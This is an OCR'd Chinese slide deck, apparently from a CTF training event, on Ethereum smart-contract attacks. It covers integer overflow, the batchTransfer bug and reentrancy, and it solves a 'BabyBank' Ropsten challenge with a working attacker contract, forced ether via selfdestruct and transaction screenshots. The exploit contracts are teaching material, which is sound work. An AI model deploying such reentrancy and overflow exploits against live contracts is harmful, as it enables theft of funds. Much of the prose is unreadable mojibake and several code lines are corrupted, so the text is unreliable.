- Iy

\ ias‘ X
\
Ropg¥ v
“ahezrion

=,

ol

/=
Canm |.|
\—7

i
-N-

B A

7 wals

=
A |

2020 G i it & K &

x

E);

T

(=]
o

B

e

il
B0

>X/m

MAHACKINGDAY




(@) | P mmsn

MIREETH R E]
CTFH(J%' He 2'.'l:l:m!)‘:l-

B KT




E % (@) | T mmnn

1 LAKIGEHES 2| BEimimiF 3 BT
iR S<E

«| CTFRREL s CTFRREIEAER




@) | Tmwman

A
BEALREFHIN. BERSN. 55
Smart Contract

Ethereum Account Type (Just like User Account) HEKARZ LRI ENRER, | RS ES
HaY , EHeeaNSBmHIT,

Address — omer HENERAE

/ contract Counter {

Bal an Ce/ uint 'coum;er‘; | é’é"]_E%B%Z:E.W%EQs ‘é’é’ﬂ}ﬂ?ﬁ-}éxﬁjﬁﬁs
Code T oanter = 07 R ES TR

¥
function count() public {

State ! counter = counter + 1;

}
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uint8 integer

:
255 [aJa[1[a[1]1[1]1}——p[oJoJoJoJo]oJo]0]o

8bit 8bit
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pragma solidity "0.4.25;

contract POC{
/ /MNiEim
//A1Ruint256 KRNI TEMBAE(2**256 - 1) , WRIEN E— AT o EEL I
function add overflow() returns (uint256 _overflow) {
uint256 max = 2**256 - 1;
return max + 1;

}

/ /it
/ /3R uint256 KRBT EIXE] T ERIR/IME(Q) , WRERME 1IN T OHIBEE=ZEA2%%256 -1 (uin256 B IR A(E)
function sub_underflow() returns (uint256 _underflow) {

uint256 min = 0; '

return min - 1;

}

/ /3K :
//9NRuint256 FEHPTEEIT T ERRAE(2**256 - 1)

function mul_overflow() returns (uint256 _underflow) {
uint256 mul = 2**255;
return mul * 2;
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BECS4U{Eetherscan EAYHBLES :
https://etherscan.io/address/0xc5d105e63711398af9bbff092d4b6769c82f793d#code

function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {

uint cnt = receivers.length;
uint256 amount = uint256(cnt) * value; //iGBHREE=
require(cnt > 0 & & cnt <= 20);
require(_value > © && balances[msg.sender] >= amount);

balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = @; i < cnt; i++) {
balances[ receivers[i]] = balances[ recei
Transfer(msg.sender, receivers[i], _valu

¥

return true;
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1. BLIERTERE%gas

2. BENKINEE ( payable )

3. RSTEEENRRBRZE

BENRRPRAIRRA

1. call.value()() & A&
HRIEKM AT IR(E] false Fo/RE |, SAEETERF Gas #H{T1EAA.

2. [EERZfallback() , EHEESLIPAILIBHE—H—Rap=2R2E , FR/IfallbackiFZl, 1ZRREABEBLE , AEeREIHE,
H 4B R TfallbackEREY ?

- BHNEBK ek Bt SRS 29I &RIX ether B , fallbackBREIE#IE ;

. MONBI AR AL A LI R ether BT , (EERERE A lallbackiREh , FRAFSHHER , ASHUATEIELR
75,

o JMNERKPEEMSZEE TIZe L — 1" NMFEHIERENET |, fallbackBREISHIVER ;
3. payable FRIRAYRREY., ERZEL 1B INpayablefmiR |, BIAJ#ES ether , FHFESBetherFEZHRISLY
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pragma solidity 70.4.10;
contract IDMoney { //

address owner;
mapping (address => uint256) balances; // ICERBMNIHEEANEE)

function IDMoney() { owner = msg.sender; }
function deposit() payable { balances[msg.sender] += msg.value; }

function withdraw(address to, uint256 amount) {
require(balances[msg.sender] > amount);
require(this.balance > amount);

to.call.value(amount)(); // {&EF call.va.
balances[msg.sender] -= amount; g

SCRAY , UASKRATERY Gas 28510

function balanceOf() returns (uint256) { return balances[msg.sender]; }
function balanceOf(address addr) returns (uint256) { return balances[addr]; }
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pragma solidity ~0.4.10; BENRANGEEE :

contract Attack //
address ownef'; L EIQEE‘S@’\]EP{%??T—IDMoney‘Sé’\Ji’(ﬂiﬂ:
address victim; 2. Z5IDMoneySZJTEAEther
modifier ownerOnly { require(owner == msg.sender); _; } 3. MIDMoneyEXEther/2

4. IDMoney&F#I{$Hcall.valuefg A%

function Attack() payable { owner = msg.sender; } WES295EH
// RETHEH [DMoney SEJSKpIAEAL - 5. AT allbackZEy (IZRELk
function setVictim(address target) ownerOnly { victim = target; } Zii}%_lﬁﬁIDMoneyéé’\JE’\J%ﬂ!K@%&)

A RS
function startAttack(uint256 amount) ownerOnly { 6. IDMoney&E£IfiEMcall.valueiits

stepl(amount); WHEEEET |, AL GZfallback
step2(amount / 2); @éﬁ , ESERCR  Z8GEME
} —— LA
function () payable { — —
if (msg.sender == victim) {

// BR=1EA IDCoin HY sendCoin BREN, 1EEISESTH
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);
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mim un from a JavaScript script.

C @& remix.ethereum.org/#optimize=false&evmVersion=null&version=soljson-v0.6.1+commit.e6f7d5a4.s W a5 ©&@ ® 0 =

FILE EXPLORERS H Q & 4 Home

vbrowser @ O 0 &
>

» swarm *

range.sol
range3.sol
range4.sol
range5.sol 1 | Learn more
rangeé.sol : & :

king.sol
console.sol
range2.sol
Untitled.sol
Untitled1.sol
Untitled5.sol
Untitledé.sol
root.sol

Environments Featured Plugins
_ : Pipeline
’ V' Debugger

- ( Workshops

© 0 listen on network Q
o remix (run remix. help() for more info) a
e Executing common command to interact with the Remix interface (see list of commands above). Note that these commands can also be included and r

e Use exports/.regist

You are using an “https” connection. Please switch to “http’ if you are using Remix against an “http Web3 provider™ or
allow Mixed Content in your browser.

1:38
2020/2/5
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FAENRRZIKRELAKT , SREKEEF3K A ARG a L RESEIEEEARILART |, 52T
SUIRAFFIRT |, REZIREflag FrFIRriRE flag

BEE BEHEETE
FERAXEHREMUBRENTE | RESSHAT IR BT SE_EAIRTEREN AL ( tNMETRE -
ZFH5KENflag block.number ) , BTLURRIEHER |, ShEH

FELI , FABEETTERITFRIIRGERS , B
=3kEXflag
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00EA 80 DUP1
) 3 00OEB 36 CALLDATASIZE
00EC 03 SUB

201958 =3B MIREL L FEBabyBankEHES LI E et i
Rospten E529ttstil : 0x93466d15A8706264Aa70edBCb69B7e13394D049f 00EF 90 SWAPI

00F0 80 DUP1
00F1 80 DUP1
00F2 35 CALLDATALOAD
00F3 90 SWAP1

0x60806040526004361061008e576000357c01000000000000000000000000BVVVVVOD
0000000000V YVRA63ffffff1680632e1a7d4d1461009357806366d16cC
€3146100c05780638c0320de146100d75780639189fec114610186578063a5e95851146

BARRE : https://ethervm.io/decompile 00F4 60 PUSH1 0x20
00F6 01 ADD
function withdraw(var argd) { 00F7 90 SWAP1
if (argo != 0x02) { revert(memory[0Ox00:0x00]); } 00FS 82 DUP3
memory[0x00:0x20] = msg.sender; 00F9 01 ADD
memory[0x20:0x40] = 0x00; 00FA 80 DUP1
if (argd > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); } 00FB 35 CALLDATALOAD
var temp@ = argo; 00FC 90 SWAP1
var templ = memory[0x40:0x60]; O0FD 60 PUSHI 0x20
memory[templ:templ + Ox00] = addr‘ess(msg.sender').ca%as).value(temp@ * ox5af 00FF 01 ADD

“ 0100 90 SWAP1
0101 80 DUP1
0102 80 DUP1
0103 60 PUSH1 Ox1f
0105 01 ADD

0) (memory[templ:templ + memory[0©x40:0x60] - templ]);
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp2 = keccak256(memory[0x00:0x40]) ;

storage[temp2] = storage[temp2] - temp®; 0106 60 PUSHL 0x20
} 0108 80 DUP1
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function payforflag(string md5ofteamtoken,string b64email) public{ function profit() public {
require(balance[msg.sender] >= 10000000000) ; require(level[msg.sender] == 0);
balance[msg.sender]=0; require(msg.sender & Oxffff == Oxblbl);
owner.transfer(address(this).balance); balance[msg.sender] += 1;
emit sendflag(mdS5ofteamtoken,b64email); level[msg.sender] += 1;

} }
function xxx(uint256 number) public onlyOwner {
secret = number;

function withdraw(uint256 amount) public { }
require(amount == 2);
require(amount <= balance[msg.sender]); . . :
R function guess(uint256 number) public {
// BENimiE : : : 8 .
. require(number == secret);
address(msg.sender).call.gas(msg.gas).value(amount * ©x5 07240 3 .
00) () - require(level[msg.sender] == 1);
/; SN balance[msg.sender] += 1;
= level[msg.sender] += 1;

balance[msg.sender] -= amount; }
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EEERRRESYIprofiteREiginbalanceflevel
FEL

KEEERRREGYgues sEREUE INbalanceflevel
AYE92

EEERARRESLIwit hdrawBREUHTEEK ( 5K
LI gamount * 0x5af3107a4000 )

HIKEi A IEE GLIR0fallbackiRE] (1ZRELHYE
£EER )

B HAYE 2 A AF10000000000

T

WHEMRIEBRRG2IRpayforflagikBiflag

(@) | TEmam
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interface BabybankInterface {

function withdraw(uint256 amount) external;

function profit() external;

function guess(uint256 number) external;
function transfer(address to, uint256 amount) external;
function payforflag(string md5ofteamtoken, string b6d4email) external;

¥

contract attacker {

BabybankInterface constant private target

uint private flag = 0;

function exploit() public payable {

target.profit();

BabybankInterface(0x93466d15A8706264Aa70edBCb69B7e13394D049 ) ;

target.guess (0x0000000000002113bfb32a59389ca77789785b1a2d36c26321852e813491alca);

target.withdraw(2);
target.payforflag("Taijie",

}
function() external payable {

require (flag == 0);
flag = 1;
target.withdraw(2);

"Along");
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1. 855F BE&SE R ESAEET SRS IER : Remix+MetaMaskTHE

Account 1

3
L
eee

function kill() public payable {

selfdestruct(address(0x93466d15A8706264Aa70edBCb69B7e13394D049T)); $

3.0894ETH

© 0

C @ ropsten.etherscan.io/address/0x93466d15A8706264Aa70edBCb69B7e13394D049f#internaltx By © E |

m Etherscan All Filters

Ropsten Testnet Network Home Blockchain v Tokens v Misc v < Lgasag
Buy B ES
a Contract 0x93466d15A8706264Aa70edBCb69IB7e13394D049f
Contract Overview More Info : Assets A(:ti\/it‘/
Balance: 0.2 Ether My Name Tag Not Available
Contract Creator: eb7672b53¢c870dhg attxn e o
(») AUXETH -1ETH
o "'7‘." ] - To- 1-" ""\]“‘- ."!7 :.’—:‘ '.; - ”"
Transactions Internal Txns Contract Events Nov To: Oxbibl...6063 ETI

|= Latest 25 internal transaction

Parent Txn Hash Block Age From To Value ‘ i ‘ Receive ] ETH

42 secs ago 3 Oxc4bb07b0303d62e1 3 0x93466d15a8706264a.. 0.2 Ether ~  Nov1 - From: Ox81b7...7647 1ETH

~
N
|

40 days 18 hrs ago 3 0x93466d15a8706264a.. . eb7672b53¢c370db95 0.9998 Ether
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" MetaMask Notification

® Ropsten i

Q & s ‘ Account 2 - HELN
DEPLOY &RUN TRANSACTIONS = 5, W Home 11d50!
pragma solidity 70.4.24;

ENVIRONMENT * interface BabybankInterface {

function withdraw(uint256 ) external;

n profit() Q O

) e V] SN
function guess(uint25 xternal; § -L ]
function transfer(add , uint256 ) external; *

function payforflag(string ) external;

ACCOUNT ©

* contract attacker { DETAILS

N https: ity-eth.tk
BabybankInterface constant priv target = BabybankInterface(9x93466d15A8706264Aa70edBCb69B7e13394D049¢); ttps'//vanlty et 't /
GASLIMIT : = ¢0.000554

uint private flag = @;

function exploit() public payabl ) o
target.profit(); Gas Price (GWEI) Gas Limit
target.guess (0x0000000000002f13bfb32a59389ca77789785b1a2d36c26321852e813491alca);
target.withdraw(2); 2 277149
target.payforflag(“Taijie”, "Along");

CONIRACT function() external payable {
require (flag == 0);
flag = 1;
target.withdraw(2);

PUBLISHTO IPFS

OR

. listen on network Q
Transactions recorded

Deployed Contracts creation of attacker pending...

[block:9048350 txIndex:12] from: Oxblh... 76063 to: attacker. (constructor) value: 0 wei data: 0x608...e0029 logs: 0 hash: 0x469... v
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pragma solidity %0.4.24;

]

interface BabybankInterface {
function withdraw(uint256
function profit() external;
n guess(uint256 )
n transfer(address , uint256 ) external;
function payforflag(string , string ) external;

GAS LIMIT

00~ OV U B N

1
J

contract attacker {

(;ONTRACT BabybankInterface constant private target = BabybankInterface(@x93466d15A8706264Aa70edBCb69B7213394D049F);

uint private flag = 0;

function exploit() public payable {
target.profit();
target.guess(0x0000000000002f13bfb32a59389ca77789785b1a2d36c26321852e813491alca);
target.withdraw(2);
PUBLISHTO IPFS target.payforflag(“Taijie", "Along");
¥
OR
function() external payable {
require (flag == 0);
flag = 1;
target.withdraw(2);
Transactions recorded e

Deployed Contracts
listen on network Q

transact to attacker.exploit pending ... M eta M ask€£@’

transact to attacker.exploit errored: [object Object]

transact to attacker.exploit pending ...

EERZERk
M

Low level interactions :

s

CALLDATA : .
Confirmed transaction

Transaction 13 confirmed! View
on Etherscan

4’31; [block:9048385 txIndex:281] from: Oxblh... 76063 fto: attacker.exploit() OxF&C...735f8 value: 0 wei data: 0x63 ﬂ
s Google Chrome
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@ ropsten.etherscan.io/address/0x93466d15A8706264Aa70edBCb69B7e13394D049%#events

m Etherscan All Filters

Ropsten Testnet Network Home Blockchain +

N S *
> ~ : ‘ a P
4 BFropstenFiRIRSZIAIEREIE IR e 330400400 ©
Contract Overview More Info
Balance: 0 Ether My Name Tag Not Available
Contract Creator: )xeb7672b53c8 b95 .. at txn 0x82baf5efif7226
Transactions Internal Txns Contract Events
sl | = P sl = -
HIEER~ , EventsE{fHpayforflagREi s
SE sl ] e M 7
AR N2EY ( payforflag("Taijie”,
n n > A Txn Hash Method *= Logs
Along") ) EmkIhH
f12d718027686ae16 0x63d9b770 [topicO] 0x6335b7f9c4dffI9c3aB70eaflBhB02774df3abade21h72549£3203b6bc974c90 ¥
- 57
Hex v -> 0000000000000000000000000000000000000000000000000000000000000040
Hex v -> 0000000000000000000000000000000000000000000000000000000000000080
Hex v > 0000000000000000000000000000000000000000000000000000000000000006
Text v | > Taijie
Hex v -> 0000000000000000000000000000000000000000000000000000000000000005
Text v S Along
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